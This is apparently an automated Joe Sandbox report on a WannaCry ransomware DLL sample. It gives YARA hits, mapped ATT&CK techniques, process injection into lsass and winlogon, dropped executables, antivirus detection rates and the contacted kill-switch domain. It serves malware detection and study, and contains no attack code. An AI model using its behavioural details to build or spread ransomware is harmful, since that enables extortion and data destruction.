              Source: Yara matchFile source: 00000009.00000002.507719913.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439079621.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.907037913.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.906964407.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001C.00000002.907097807.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000027.00000002.907103078.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.906948155.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.424142653.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.446996062.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425785797.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.907098246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439510336.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000002.906964838.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444613597.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000002.907220434.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000000.554072792.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000000.598689820.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.907225598.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447263116.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.907067234.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.505527439.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.422170960.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.907058748.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.398638867.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.427843939.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.422923156.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.544556070.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.907099348.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.427869609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000029.00000002.907190241.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439025805.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000023.00000002.907099710.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.906965552.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.404562278.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000002.907013443.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 2892, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 576, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6120, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 624, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 728, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 736, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 744, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 812, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 860, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 904, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 992, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 372, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 256, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 472, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 696, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1040, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1060, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1304, type: MEMORYSTR

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid Accounts2
              Command and Scripting Interpreter              		2
              Windows Service              		2
              Windows Service              		121
              Masquerading              		1
              Input Capture              		11
              System Time Discovery              		Remote Services1
              Input Capture              		Exfiltration Over Other Network Medium2
              Encrypted Channel              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              Data Encrypted for Impact
              Default Accounts2
              Service Execution              		Boot or Logon Initialization Scripts312
              Process Injection              		11
              Virtualization/Sandbox Evasion              		LSASS Memory351
              Security Software Discovery              		Remote Desktop Protocol1
              Archive Collected Data              		Exfiltration Over Bluetooth12
              Ingress Tool Transfer              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts12
              Native API              		Logon Script (Windows)Logon Script (Windows)312
              Process Injection              		Security Account Manager11
              Virtualization/Sandbox Evasion              		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
              Non-Application Layer Protocol              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
              Obfuscated Files or Information              		NTDS3
              Process Discovery              		Distributed Component Object ModelInput CaptureScheduled Transfer2
              Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
              Rundll32              		LSA Secrets1
              Remote System Discovery              		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common1
              Software Packing              		Cached Domain Credentials13
              System Information Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 669609 Sample: 7KPQg3aXdC Startdate: 20/07/2022 Architecture: WINDOWS Score: 100 68 Tries to download HTTP data from a sinkholed server 2->68 70 Snort IDS alert for network traffic 2->70 72 Multi AV Scanner detection for domain / URL 2->72 74 8 other signatures 2->74 9 loaddll32.exe 1 2->9         started        11 mssecsvc.exe 2->11         started        14 svchost.exe 2->14         started        17 3 other processes 2->17 process3 dnsIp4 19 cmd.exe 1 9->19         started        21 rundll32.exe 9->21         started        24 rundll32.exe 1 9->24         started        82 Maps a DLL or memory area into another process 11->82 27 svchost.exe 11->27 injected 29 svchost.exe 11->29 injected 31 dwm.exe 11->31 injected 66 192.168.2.1 unknown unknown 14->66 signatures5 process6 file7 33 rundll32.exe 19->33         started        76 Drops executables to the windows directory (C:\Windows) and starts them 21->76 35 mssecsvc.exe 7 21->35         started        60 C:\Windows\mssecsvc.exe, PE32 24->60 dropped 40 BackgroundTransferHost.exe 49 27->40         started        42 BackgroundTransferHost.exe 13 27->42         started        signatures8 process9 dnsIp10 44 mssecsvc.exe 7 33->44         started        62 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.16.173.80, 49764, 49872, 80 CLOUDFLARENETUS United States 35->62 58 C:\Windows\tasksche.exe, PE32 35->58 dropped 78 Drops executables to the windows directory (C:\Windows) and starts them 35->78 48 tasksche.exe 35->48         started        file11 80 Tries to resolve many domain names, but no domain seems valid 62->80 signatures12 process13 dnsIp14 64 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 44->64 84 Antivirus detection for dropped file 44->84 86 Multi AV Scanner detection for dropped file 44->86 88 Machine Learning detection for dropped file 44->88 92 6 other signatures 44->92 50 winlogon.exe 44->50 injected 52 lsass.exe 44->52 injected 54 fontdrvhost.exe 44->54 injected 56 14 other processes 44->56 90 Detected Wannacry Ransomware 48->90 signatures15 process16

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              7KPQg3aXdC.dll85%VirustotalBrowse
              7KPQg3aXdC.dll72%MetadefenderBrowse
              7KPQg3aXdC.dll90%ReversingLabsWin32.Ransomware.WannaCry
              7KPQg3aXdC.dll100%AviraW32/Virut.Gen
              7KPQg3aXdC.dll100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Windows\mssecsvc.exe100%AviraW32/Virut.Gen
              C:\Windows\tasksche.exe100%AviraTR/FileCoder.AU
              C:\Windows\mssecsvc.exe100%Joe Sandbox ML
              C:\Windows\tasksche.exe100%Joe Sandbox ML
              C:\Windows\mssecsvc.exe84%MetadefenderBrowse
              C:\Windows\mssecsvc.exe100%ReversingLabsWin32.Ransomware.WannaCry

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              4.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              4.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              24.0.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              9.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              6.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              6.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              9.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              6.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              6.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              6.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              9.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              6.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
              9.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              6.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              6.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              24.2.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
              6.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              6.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File

              Domains

              SourceDetectionScannerLabelLink
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com12%VirustotalBrowse

              URLs

              SourceDetectionScannerLabelLink
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com100%URL Reputationmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/100%URL Reputationmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com00%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/K100%Avira URL Cloudmalware
              https://www.kryptoslogic.com0%VirustotalBrowse
              https://www.kryptoslogic.com0%Avira URL Cloudsafe
              http://Passport.NET/tb0%VirustotalBrowse
              http://Passport.NET/tb0%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/_100%Avira URL Cloudmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwer100%Avira URL Cloudmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/LG100%Avira URL Cloudmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/x100%Avira URL Cloudmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)0%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              		104.16.173.80
              		truetrueunknown

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/true
              • URL Reputation: malware
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.commssecsvc.exe, 00000009.00000000.402972993.000000000040F000.00000008.00000001.01000000.00000004.sdmptrue
              • URL Reputation: malware
              		unknown
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com0mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
              • Avira URL Cloud: safe
              		unknown
              https://candycrush.king.com/mobile/windows/TileTemplate.xmlsvchost.exe, 00000012.00000000.432708805.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.432338987.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.926192004.0000023260AB7000.00000004.00000001.00020000.00000000.sdmpfalse
                		high
                http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/Kmssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                https://www.kryptoslogic.commssecsvc.exe, 00000004.00000002.720690679.0000000000E28000.00000004.00000020.00020000.00000000.sdmptrue
                • 0%, Virustotal, Browse
                • Avira URL Cloud: safe
                		unknown
                http://www.google.comsvchost.exe, 0000001C.00000000.510512916.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.917317337.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmpfalse
                  		high
                  http://Passport.NET/tbsvchost.exe, 00000024.00000002.934818706.00000266A596D000.00000004.00000001.00020000.00000000.sdmpfalse
                  • 0%, Virustotal, Browse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/_mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwermssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/LGmssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/xmssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionIDsvchost.exe, 00000024.00000002.934818706.00000266A596D000.00000004.00000001.00020000.00000000.sdmpfalse
                    		high
                    http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmptrue
                    • Avira URL Cloud: safe
                    		low
                    http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJmssecsvc.exe, 00000004.00000002.718720264.000000000019C000.00000004.00000010.00020000.00000000.sdmptrue
                    • Avira URL Cloud: safe
                    		unknown

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    104.16.173.80
                    		www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comUnited States
                    		13335CLOUDFLARENETUStrue

                    Private

                    IP
                    192.168.2.1

                    General Information

                    Joe Sandbox Version:35.0.0 Citrine
                    Analysis ID:669609
                    Start date and time: 20/07/202207:02:562022-07-20 07:02:56 +02:00
                    Joe Sandbox Product:CloudBasic
                    Overall analysis duration:0h 16m 2s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Sample file name:7KPQg3aXdC (renamed file extension from none to dll)
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                    Number of analysed new started processes analysed:22
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:20
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • HDC enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Detection:MAL
                    Classification:mal100.rans.troj.evad.winDLL@23/26@2/2
                    EGA Information:
                    • Successful, ratio: 66.7%
                    HDC Information:
                    • Successful, ratio: 27.9% (good quality ratio 25.3%)
                    • Quality average: 76.9%
                    • Quality standard deviation: 32.5%
                    HCA Information:
                    • Successful, ratio: 68%
                    • Number of executed functions: 20
                    • Number of non-executed functions: 97
                    Cookbook Comments:
                    • Adjust boot time
                    • Enable AMSI
                    • Override analysis time to 240s for rundll32

                    Warnings

                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe
                    • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 80.67.82.235, 80.67.82.211, 51.11.168.232, 23.205.181.161
                    • Excluded domains from analysis (whitelisted): sirbmz.com, tufeuj.com, cebyuc.com, wmvoad.com, kyaayd.com, lonsdy.com, aqbize.com, fvirrh.com, vajadh.com, fs-wildcard.microsoft.com.edgekey.net, huamiz.com, hwbprd.com, xgqgpj.com, wltepu.com, www.bing.com, kbidwa.com, ynaosm.com, yeuhos.com, ehzhxd.com, uiamvb.com, hiyeja.com, ris.api.iris.microsoft.com, wjkwum.com, wbtlyi.com, yewqik.com, xawdey.com, wzzyrw.com, uipjqf.com, dfbyrz.com, qncseh.com, abewzg.com, jglbxn.com, jwawsi.com, kuifik.com, zmmqzw.com, e12564.dspb.akamaiedge.net, sblmgi.com, go.microsoft.com, fyhrxr.com, dxyarp.com, oexggu.com, kifysk.com, settings-prod-uks-1.uksouth.cloudapp.azure.com, prod.fs.microsoft.com.akadns.net, isiuje.com, fqiwtu.com, xrelmm.com, ebqfrl.com, rksacp.com, ant.trenz.pl, ayuwsb.com, yubejo.com, atm-settingsfe-prod-weighted.trafficmanager.net, esnasu.com, ntrlox.com, erozuu.com, vkyvei.com, kecprf.com, ebktjj.com, go.microsoft.com.edgekey.net, jshdri.com, gauybo.com, ffhola.com, pfaysr.com, hpjhga.com, ktkyiy.com, ayfh
                    • Execution Graph export aborted for target tasksche.exe, PID 5844 because there are no executed function
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Report size getting too big, too many NtWriteVirtualMemory calls found.

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    07:04:18API Interceptor1x Sleep call for process: loaddll32.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    104.16.173.80wI84mV7eWQ.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    NIcNg803dS.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    rBD1ho1mOR.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    soA6RkzSx4.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    9V2w8FCgcI.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    0vgcZx0quM.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    kJawwjHFhN.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    4PnGlZfphv.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    du2Ga6XDyJ.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    zx7RkVH2rK.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    pbuthm0byt.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    ET67krfgam.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    HfHdILcWam.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    jP9k9v5A49.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    UFCAhHNf1k.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    4Nz08nMrUD.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    Hzxa4bqllj.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    o5BtdHyEim.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    JY23PmszXw.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                    2CrxjQDltm.dllGet hashmaliciousBrowse
                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

                    Domains

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comKeGmSPqerk.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    wI84mV7eWQ.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    NIcNg803dS.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    rBD1ho1mOR.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    k85rHdvS9F.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    uc1BlDGuu5.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    soA6RkzSx4.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    9V2w8FCgcI.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    0vgcZx0quM.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    kJawwjHFhN.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    4PnGlZfphv.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    lyg4ssfboo.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    du2Ga6XDyJ.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    x37cJUReHb.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    zx7RkVH2rK.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    5m2LiIPmcL.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    IaU9j504kU.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    zxEzyLNaCY.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    pbuthm0byt.dllGet hashmaliciousBrowse
                    • 104.16.173.80
                    7O9xQusJeR.dllGet hashmaliciousBrowse
                    • 104.17.244.81

                    ASNs

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    CLOUDFLARENETUSKeGmSPqerk.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    wI84mV7eWQ.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    rBD1ho1mOR.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    soA6RkzSx4.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    9V2w8FCgcI.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    0vgcZx0quM.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    kJawwjHFhN.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    4PnGlZfphv.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    lyg4ssfboo.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    x37cJUReHb.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    zx7RkVH2rK.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    JN4bMX5twu.dllGet hashmaliciousBrowse
                    • 104.28.187.223
                    5m2LiIPmcL.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    IaU9j504kU.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    8NkvNQD7nN.dllGet hashmaliciousBrowse
                    • 1.14.210.93
                    zxEzyLNaCY.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    Inv_RUFTY_2374859.exeGet hashmaliciousBrowse
                    • 104.21.13.247
                    SecuriteInfo.com.W32.Mokes.G.genEldorado.4480.exeGet hashmaliciousBrowse
                    • 172.67.188.70
                    pbuthm0byt.dllGet hashmaliciousBrowse
                    • 104.17.244.81
                    7O9xQusJeR.dllGet hashmaliciousBrowse
                    • 104.17.244.81

                    JA3 Fingerprints

                    ⊘No context

                    Dropped Files

                    ⊘No context

                    Created / dropped Files

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\0e179b48-6f53-4931-a0ef-b10a1a9c39ee.77b672ba-032f-41db-bd1b-382a6988d748.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
